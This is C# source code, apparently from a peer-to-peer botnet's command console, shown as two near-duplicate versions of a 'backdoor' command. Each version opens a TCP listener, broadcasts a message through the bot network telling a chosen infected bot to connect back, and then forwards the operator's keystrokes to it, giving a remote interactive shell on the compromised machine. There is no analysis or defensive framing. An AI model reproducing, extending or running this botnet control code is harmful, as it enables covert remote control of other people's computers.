public override int Invoke(IEnumerable <string> args)
{
try
{
var extra = Options.Parse(args);
if (ShowHelp)
{
Options.WriteOptionDescriptions(CommandSet.Out);
return(0);
}
if (extra.Count == 0)
{
Console.WriteLine("commands: Missing required argument `BOT-IDENTIFIER`.");
Console.WriteLine("commands: Use `help backdoor` for details.");
return(1);
}
var botId = extra[0];
var targetBotId = BotIdentifier.Parse(botId);
var peerInfo = _agent.PeerList[targetBotId];
var controllerIp = IPAddressUtils.BehingNAT(peerInfo.EndPoint.Address)
? IPAddressUtils.GetLocalIPAddress()
: _agent.PublicIP;
var port = new Random().Next(33000, 33999);
var serverEndpoint = new IPEndPoint(controllerIp, port);
var server = new TcpListener(serverEndpoint);
server.Start();
var backdoorMessage = new BackdoorMessage()
{
TargetBotId = BotIdentifier.Parse(botId),
ControllerEndpoint = new IPEndPoint(controllerIp, port)
};
_agent.MessagesManager.Broadcast(backdoorMessage, 6);
var client = server.AcceptTcpClient();
var stream = client.GetStream();
Console.WriteLine("Connected!");
var writer = new StreamWriter(stream)
{
AutoFlush = true
};
var reader = new StreamReader(stream);
ThreadPool.QueueUserWorkItem(s1 =>
{
var array = new char[1024];
try
{
int count;
while ((count = reader.Read(array, 0, array.Length)) != 0)
{
Console.Write(new string(array, 0, count));
}
}
catch (Exception e)
{
// ignored
}
});
var bgColor = Console.BackgroundColor;
var fgColor = Console.ForegroundColor;
//Console.BackgroundColor = ConsoleColor.Blue;
Console.ForegroundColor = ConsoleColor.Cyan;
Console.CursorVisible = true;
ConsoleKeyInfo k;
var cursorLeft = 0;
var cmd = "";
while (cmd != "exit")
{
k = Console.ReadKey(true);
if (k.Key == ConsoleKey.Enter)
{
Console.CursorLeft -= cursorLeft;
cursorLeft = 0;
writer.Write('\n');
cmd = "";
}
else
{
cmd += k.KeyChar;
writer.Write(k.KeyChar);
Console.Write(k.KeyChar.ToString());
cursorLeft++;
}
}
client.Close();
server.Stop();
Console.BackgroundColor = bgColor;
Console.ForegroundColor = fgColor;
Console.WriteLine("\nbackdoor closed. Good bye, master!");
Console.WriteLine();
return(0);
}
catch (Exception e)
{
// _repl.Console.WriteLine("commands: {0}", CommandDemo.Verbosity >= 1 ? e.ToString() : e.Message);
return(1);
}
}
public override int Invoke(IEnumerable <string> args)
{
try
{
var extra = Options.Parse(args);
if (ShowHelp)
{
Options.WriteOptionDescriptions(CommandSet.Out);
return(0);
}
if (string.IsNullOrEmpty(BotId))
{
Console.WriteLine("commands: Missing required argument `--bot=BOT-IDENTIFIER`.");
Console.WriteLine("commands: Use `help backdoor` for details.");
return(1);
}
var port = new Random().Next(33000, 33999);
var serverEndpoint = new IPEndPoint(IPAddress.Loopback, port);
var server = new TcpListener(serverEndpoint);
server.Start();
var backdoorMessage = new BackdoorMessage()
{
TargetBotId = BotIdentifier.Parse(BotId),
ControllerEndpoint = new IPEndPoint(IPAddress.Parse("10.0.2.2"), port)
};
_agent.MessagesManager.Broadcast(backdoorMessage, 6);
var client = server.AcceptTcpClient();
var stream = client.GetStream();
var writer = new StreamWriter(stream)
{
AutoFlush = true
};
var reader = new StreamReader(stream);
ThreadPool.QueueUserWorkItem(s1 =>
{
var array = new char[1024];
try
{
int count;
while ((count = reader.Read(array, 0, array.Length)) != 0)
{
Console.Write(new string(array, 0, count));
}
}
catch (Exception e)
{
// ignored
}
});
ConsoleKeyInfo k;
var cursorLeft = 0;
while (true)
{
k = Console.ReadKey(true);
writer.Write(k.KeyChar);
Console.Write(k.KeyChar.ToString());
if (k.Key == ConsoleKey.Enter)
{
Console.CursorLeft -= cursorLeft;
cursorLeft = 0;
writer.WriteLine();
}
else
{
cursorLeft++;
}
}
client.Close();
server.Stop();
return(0);
}
catch (Exception e)
{
// _repl.Console.WriteLine("commands: {0}", CommandDemo.Verbosity >= 1 ? e.ToString() : e.Message);
return(1);
}
}
